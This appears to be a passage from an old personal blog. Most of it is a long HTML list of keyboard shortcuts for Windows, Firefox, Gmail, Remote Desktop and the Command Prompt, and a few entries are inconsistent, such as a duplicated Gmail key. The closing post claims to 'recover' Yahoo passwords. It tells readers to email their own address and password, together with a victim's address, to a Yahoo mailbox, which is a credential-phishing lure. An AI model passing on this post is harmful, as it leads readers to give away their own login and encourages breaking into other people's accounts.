CoolSwitch; go in reverse. </b></li><li class="MsoNormal" style=""><b>Alt + Escape: Send active window to the bottom of the z-order. </b></li><li class="MsoNormal" style=""><b>Alt + Shift + Escape: Activate the window at the bottom of the z-order. </b></li><li class="MsoNormal" style=""><b>Alt + F4: Close active window; or, if all windows are closed, open shutdown dialog. </b></li><li class="MsoNormal" style=""><b>Shift while a CD is loading: Bypass AutoPlay. </b></li><li class="MsoNormal" style=""><b>Shift while login: Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\) </b></li><li class="MsoNormal" style=""><b>Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states): Invoke the Task Manager or NT Security dialog. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) : Invoke the task manager. On earlier OSes, acts like Ctrl + Escape. </b></li><li class="MsoNormal" style=""><b>Printscreen: Copy screenshot of current screen to clipboard. </b></li><li class="MsoNormal" style=""><b>Alt + Printscreen: Copy screenshot of current active window to clipboard. </b></li><li class="MsoNormal" style=""><b>Ctrl + Alt + Down Arrow: Invert screen. Untested on OSes other than XP. </b></li><li class="MsoNormal" style=""><b>Ctrl + Alt + Up Arrow: Undo inversion. </b></li><li class="MsoNormal" style=""><b>Win + B : Move focus to systray icons.</b></li></ul> <p class="MsoNormal" style="margin-bottom: 12pt;"><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></p> <h3><br />2.) Generic </h3> <p class="MsoNormal" style="margin-bottom: 12pt;"><br /><b><br /><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></b></p> <ul type="disc"><li class="MsoNormal" style=""><b>Ctrl + C or Ctrl + Insert: Copy. </b></li><li class="MsoNormal" style=""><b>Ctrl + X or Shift + Delete: Cut. </b></li><li class="MsoNormal" style=""><b>Ctrl + V or Shift + Insert: Paste/Move. </b></li><li class="MsoNormal" style=""><b>Ctrl + N: New... File, Tab, Entry, etc. </b></li><li class="MsoNormal" style=""><b>Ctrl + S: Save. </b></li><li class="MsoNormal" style=""><b>Ctrl + O: Open... </b></li><li class="MsoNormal" style=""><b>Ctrl + P: Print. </b></li><li class="MsoNormal" style=""><b>Ctrl + Z: Undo. </b></li><li class="MsoNormal" style=""><b>Ctrl + A: Select all. </b></li><li class="MsoNormal" style=""><b>Ctrl + F: Find... </b></li><li class="MsoNormal" style=""><b>Ctrl+W : to close the current window </b></li><li class="MsoNormal" style=""><b>Ctrl + F4: Close tab or child window. </b></li><li class="MsoNormal" style=""><b>F1: Open help. </b></li><li class="MsoNormal" style=""><b>F11: Toggle full screen mode. </b></li><li class="MsoNormal" style=""><b>Alt or F10: Activate menu bar. </b></li><li class="MsoNormal" style=""><b>Alt + Space: Display system menu. Same as clicking the icon on the titlebar. </b></li><li class="MsoNormal" style=""><b>Escape: Remove focus from current control/menu, or close dialog box. </b></li></ul> <h3><br />3.) Generic Navigation </h3> <p class="MsoNormal" style="margin-bottom: 12pt;"><b><br /><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></b></p> <ul type="disc"><li class="MsoNormal" style=""><b>Tab: Forward one item. </b></li><li class="MsoNormal" style=""><b>Shift + Tab: Backward one item. </b></li><li class="MsoNormal" style=""><b>Ctrl + Tab: Cycle through tabs/child windows. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + Tab: Cycle backwards through tabs/child windows. </b></li><li class="MsoNormal" style=""><b>Enter: If a button's selected, click it, otherwise, click default button. </b></li><li class="MsoNormal" style=""><b>Space: Toggle items such as radio buttons or checkboxes. </b></li><li class="MsoNormal" style=""><b>Alt + (Letter): Activate item corresponding to (Letter). (Letter) is the underlined letter on the item's name. </b></li><li class="MsoNormal" style=""><b>Ctrl + Left: Move cursor to the beginning of previous word. </b></li><li class="MsoNormal" style=""><b>Ctrl + Right: Move cursor to the beginning of next word. </b></li><li class="MsoNormal" style=""><b>Ctrl + Up: Move cursor to beginning of previous paragraph. This and all subsequent Up/Down hotkeys in this section have only been known to work in RichEdit controls. </b></li><li class="MsoNormal" style=""><b>Ctrl + Down: Move cursor to beginning of next paragraph. </b></li><li class="MsoNormal" style=""><b>Shift + Left: Highlight one character to the left. </b></li><li class="MsoNormal" style=""><b>Shift + Right: Highlight one character to the right. </b></li><li class="MsoNormal" style=""><b>Shift + Up: Highlight from current cursor position, to one line up. </b></li><li class="MsoNormal" style=""><b>Shift + Down: Highlight from current cursor position, to one line down. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + Left: Highlight to beginning of previous word. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + Right: Highlight to beginning of next word. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + Up: Highlight to beginning of previous paragraph. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + Down: Highlight to beginning of next paragraph. </b></li><li class="MsoNormal" style=""><b>Home: Move cursor to top of a scrollable control. </b></li><li class="MsoNormal" style=""><b>End: Move cursor to bottom of a scrollable control. </b></li></ul> <h3><br />4.) Generic File Browser </h3> <p class="MsoNormal" style="margin-bottom: 12pt;"><b><br /><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></b></p> <ul type="disc"><li class="MsoNormal" style=""><b>Arrow Keys: Navigate. </b></li><li class="MsoNormal" style=""><b>Shift + Arrow Keys: Select multiple items. </b></li><li class="MsoNormal" style=""><b>Ctrl + Arrow Keys: Change focus without changing selection. "Focus" is the object that will run on Enter. Space toggles selection of the focused item. </b></li><li class="MsoNormal" style=""><b>(Letter): Select first found item that begins with (Letter). </b></li><li class="MsoNormal" style=""><b>BackSpace: Go up one level to the parent directory. </b></li><li class="MsoNormal" style=""><b>Alt + Left: Go back one folder. </b></li><li class="MsoNormal" style=""><b>Alt + Right: Go forward one folder. </b></li><li class="MsoNormal" style=""><b>Enter: Activate (Double-click) selected item(s). </b></li><li class="MsoNormal" style=""><b>Alt + Enter: View properties for selected item. </b></li><li class="MsoNormal" style=""><b>F2: Rename selected item(s). </b></li><li class="MsoNormal" style=""><b>Ctrl + NumpadPlus: In a Details view, resizes all columns to fit the longest item in each one. </b></li><li class="MsoNormal" style=""><b>Delete: Delete selected item(s). </b></li><li class="MsoNormal" style=""><b>Shift + Delete: Delete selected item(s); bypass Recycle Bin. </b></li><li class="MsoNormal" style=""><b>Ctrl while dragging item(s): Copy. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift while dragging item(s): Create shortcut(s). </b></li><li class="MsoNormal" style=""><b>In tree pane, if any: </b></li><li class="MsoNormal" style=""><b>Left: Collapse the current selection if expanded, or select the parent folder. </b></li><li class="MsoNormal" style=""><b>Right: Expand the current selection if collapsed, or select the first subfolder. </b></li><li class="MsoNormal" style=""><b>NumpadAsterisk: Expand currently selected directory and all subdirectories. No undo. </b></li><li class="MsoNormal" style=""><b>NumpadPlus: Expand currently selected directory. </b></li><li class="MsoNormal" style=""><b>NumpadMinus: Collapse currently selected directory. </b></li></ul> <h3><br />5.) Accessibility </h3> <p class="MsoNormal" style="margin-bottom: 12pt;"><b><br /><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></b></p> <ul type="disc"><li class="MsoNormal" style=""><b>Right Shift for eight seconds: Toggle FilterKeys on and off. FilterKeys must be enabled. </b></li><li class="MsoNormal" style=""><b>Left Alt + Left Shift + PrintScreen: Toggle High Contrast on and off. High Contrast must be enabled. </b></li><li class="MsoNormal" style=""><b>Left Alt + Left Shift + NumLock: Toggle MouseKeys on and off. MouseKeys must be enabled. </b></li><li class="MsoNormal" style=""><b>NumLock for five seconds: Toggle ToggleKeys on and off. ToggleKeys must be enabled. </b></li><li class="MsoNormal" style=""><b>Shift five times: Toggle StickyKeys on and off. StickyKeys must be enabled. </b></li><li class="MsoNormal" style=""><b>6.) Microsoft Natural Keyboard with IntelliType Software Installed </b></li><li class="MsoNormal" style=""><b>Win + L: Log off Windows. </b></li><li class="MsoNormal" style=""><b>Win + P: Open Print Manager. </b></li><li class="MsoNormal" style=""><b>Win + C: Open control panel. </b></li><li class="MsoNormal" style=""><b>Win + V: Open clipboard. </b></li><li class="MsoNormal" style=""><b>Win + K: Open keyboard properties. </b></li><li class="MsoNormal" style=""><b>Win + I: Open mouse properties. </b></li><li class="MsoNormal" style=""><b>Win + A: Open Accessibility properties. </b></li><li class="MsoNormal" style=""><b>Win + Space: Displays the list of Microsoft IntelliType shortcut keys. </b></li><li class="MsoNormal" style=""><b>Win + S: Toggle CapsLock on and off. </b></li></ul> <h3><br />7.) Remote Desktop Connection Navigation </h3> <p class="MsoNormal" style="margin-bottom: 12pt;"><b><br /><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></b></p> <ul type="disc"><li class="MsoNormal" style=""><b>Ctrl + Alt + End: Open the NT Security dialog. </b></li><li class="MsoNormal" style=""><b>Alt + PageUp: Switch between programs. </b></li><li class="MsoNormal" style=""><b>Alt + PageDown: Switch between programs in reverse. </b></li><li class="MsoNormal" style=""><b>Alt + Insert: Cycle through the programs in most recently used order. </b></li><li class="MsoNormal" style=""><b>Alt + Home: Display start menu. </b></li><li class="MsoNormal" style=""><b>Ctrl + Alt + Break: Switch the client computer between a window and a full screen. </b></li><li class="MsoNormal" style=""><b>Alt + Delete: Display the Windows menu. </b></li><li class="MsoNormal" style=""><b>Ctrl + Alt + NumpadMinus: Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt + PrintScreen on a local computer. </b></li><li class="MsoNormal" style=""><b>Ctrl + Alt + NumpadPlus: Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PrintScreen on a local computer.</b></li></ul> <h3><br />8.) Mozilla Firefox Shortcuts </h3> <p class="MsoNormal" style="margin-bottom: 12pt;"><b><br /><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></b></p> <ul type="disc"><li class="MsoNormal" style=""><b>Ctrl + Tab or Ctrl + PageDown: Cycle through tabs. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + Tab or Ctrl + PageUp: Cycle through tabs in reverse. </b></li><li class="MsoNormal" style=""><b>Ctrl + (1-9): Switch to tab corresponding to number. </b></li><li class="MsoNormal" style=""><b>Ctrl + N: New window. </b></li><li class="MsoNormal" style=""><b>Ctrl + T: New tab. </b></li><li class="MsoNormal" style=""><b>Ctrl + L or Alt + D or F6: Switch focus to location bar. </b></li><li class="MsoNormal" style=""><b>Ctrl + Enter: Open location in new tab. </b></li><li class="MsoNormal" style=""><b>Shift + Enter: Open location in new window. </b></li><li class="MsoNormal" style=""><b>Ctrl + K or Ctrl + E: Switch focus to search bar. </b></li><li class="MsoNormal" style=""><b>Ctrl + O: Open a local file. </b></li><li class="MsoNormal" style=""><b>Ctrl + W: Close tab, or window if there's only one tab open. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + W: Close window. </b></li><li class="MsoNormal" style=""><b>Ctrl + S: Save page as a local file. </b></li><li class="MsoNormal" style=""><b>Ctrl + P: Print page. </b></li><li class="MsoNormal" style=""><b>Ctrl + F or F3: Open find toolbar. </b></li><li class="MsoNormal" style=""><b>Ctrl + G or F3: Find next... </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + G or Shift + F3: Find previous... </b></li><li class="MsoNormal" style=""><b>Ctrl + B or Ctrl + I: Open Bookmarks sidebar. </b></li><li class="MsoNormal" style=""><b>Ctrl + H: Open History sidebar. </b></li><li class="MsoNormal" style=""><b>Escape: Stop loading page. </b></li><li class="MsoNormal" style=""><b>Ctrl + R or F5: Reload current page. </b></li><li class="MsoNormal" style=""><b>Ctrl + Shift + R or Ctrl + F5: Reload current page; bypass cache. </b></li><li class="MsoNormal" style=""><b>Ctrl + U: View page source. </b></li><li class="MsoNormal" style=""><b>Ctrl + D: Bookmark current page. </b></li><li class="MsoNormal" style=""><b>Ctrl + NumpadPlus or Ctrl + Equals (+/=): Increase text size. </b></li><li class="MsoNormal" style=""><b>Ctrl + NumpadMinus or Ctrl + Minus: Decrease text size. </b></li><li class="MsoNormal" style=""><b>Ctrl + Numpad0 or Ctrl + 0: Set text size to default. </b></li><li class="MsoNormal" style=""><b>Alt + Left or Backspace: Back. </b></li><li class="MsoNormal" style=""><b>Alt + Right or Shift + Backspace: Forward. </b></li><li class="MsoNormal" style=""><b>Alt + Home: Open home page. </b></li><li class="MsoNormal" style=""><b>Ctrl + M: Open new message in integrated mail client. </b></li><li class="MsoNormal" style=""><b>Ctrl + J: Open Downloads dialog. </b></li><li class="MsoNormal" style=""><b>F6: Switch to next frame. You must have selected something on the page already, e.g. by use of Tab. </b></li><li class="MsoNormal" style=""><b>Shift + F6: Switch to previous frame. </b></li><li class="MsoNormal" style=""><b>Apostrophe ('): Find link as you type. </b></li><li class="MsoNormal" style=""><b>Slash (/): Find text as you type. </b></li></ul> <h3><br />9.) GMail </h3> <p class="MsoNormal" style="margin-bottom: 12pt;"><b><br /></b><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></p> <ul type="disc"><li class="MsoNormal" style=""><b>Note: Must have "keyboard shortcuts" on in settings. </b></li><li class="MsoNormal" style=""><b>C: Compose new message. </b></li><li class="MsoNormal" style=""><b>Shift + C: Open new window to compose new message. </b></li><li class="MsoNormal" style=""><b>Slash (/): Switch focus to search box. </b></li><li class="MsoNormal" style=""><b>K: Switch focus to the next most recent email. Enter or "O" opens focused email. </b></li><li class="MsoNormal" style=""><b>J: Switch focus to the next oldest email. </b></li><li class="MsoNormal" style=""><b>N: Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages. </b></li><li class="MsoNormal" style=""><b>P: Switch focus to the previous message. </b></li><li class="MsoNormal" style=""><b>U: Takes you back to the inbox and checks for new mail. </b></li><li class="MsoNormal" style=""><b>Y: Various actions depending on current view: </b></li><li class="MsoNormal" style=""><b>Has no effect in "Sent" and "All Mail" views. </b></li><li class="MsoNormal" style=""><b>Inbox: Archive email or message. </b></li><li class="MsoNormal" style=""><b>Starred: Unstar email or message. </b></li><li class="MsoNormal" style=""><b>Spam: Unmark as spam and move back to "Inbox." </b></li><li class="MsoNormal" style=""><b>Trash: Move back to "Inbox." </b></li><li class="MsoNormal" style=""><b>Any label: Remove the label.</b> </li><li class="MsoNormal" style=""><b>X: "Check" an email. Various actions can be performed against all checked emails. </b></li><li class="MsoNormal" style=""><b>S: "Star" an email. Identical to the more familiar term, "flagging." </b></li><li class="MsoNormal" style=""><b>R: Reply to the email. </b></li><li class="MsoNormal" style=""><b>A: Reply to all recipients of the email. </b></li><li class="MsoNormal" style=""><b>F: Forward an email. </b></li><li class="MsoNormal" style=""><b>Shift + R: Reply to the email in a new window. </b></li><li class="MsoNormal" style=""><b>Shift + A: Reply to all recipients of the email in a new window. </b></li><li class="MsoNormal" style=""><b>Shift + F: Forward an email in a new window. </b></li><li class="MsoNormal" style=""><b>Shift + 1 (!): Mark an email as spam and remove it from the inbox. </b></li><li class="MsoNormal" style=""><b>G then I: Switch to "Inbox" view. </b></li><li class="MsoNormal" style=""><b>G then S: Switch to "Starred" view. </b></li><li class="MsoNormal" style=""><b>G then A: Switch to "All Mail" view. </b></li><li class="MsoNormal" style=""><b>G then C: Switch to "Contacts" view. </b></li><li class="MsoNormal" style=""><b>G then S: Switch to "Drafts" view.</b></li></ul> <p class="MsoNormal" style="margin-bottom: 12pt;"><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></p> <h3><br />10.) List of F1-F9 Key Commands for the Command Prompt </h3> <p class="MsoNormal" style="margin-bottom: 12pt;"><b><br /><br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></b></p> <ul type="disc"><li class="MsoNormal" style=""><b>F1 / right arrow: Repeats the letters of the last command line, one by one. </b></li><li class="MsoNormal" style=""><b>F2: Displays a dialog asking user to "enter the char to copy up to" of the last command line </b></li><li class="MsoNormal" style=""><b>F3: Repeats the last command line </b></li><li class="MsoNormal" style=""><b>F4: Displays a dialog asking user to "enter the char to delete up to" of the last command line </b></li><li class="MsoNormal" style=""><b>F5: Goes back one command line </b></li><li class="MsoNormal" style=""><b>F6: Enters the traditional CTRL+Z (^z) </b></li><li class="MsoNormal" style=""><b>F7: Displays a menu with the command line history </b></li><li class="MsoNormal" style=""><b>F8: Cycles back through previous command lines (beginning with most recent) </b></li><li class="MsoNormal" style=""><b>F9: Displays a dialog asking user to enter a command number, where 0 is for first command line entered. </b></li><li class="MsoNormal" style=""><b>Alt+Enter: toggle fullScreen mode. </b></li><li class="MsoNormal" style=""><b>up/down: scroll thru/repeat previous entries </b></li><li class="MsoNormal" style=""><b>Esc: delete line </b></li></ul>Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-49097574095328297562008-08-13T05:35:00.000-07:002008-08-13T05:39:25.696-07:00To recover yahoo passswordsent an email to:-Recovery_lost_Pswd@yahoo.com<br />in the subject option, type: membrstff455677<br />in the actual e-mail part,copy and paste this:<br /><"pwd sys rtrv" Member_"Your e-mail address here"<br />pwd_"Your e-mail address password"<br />VictimAdrss_"Victim's e-mail adress here">Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0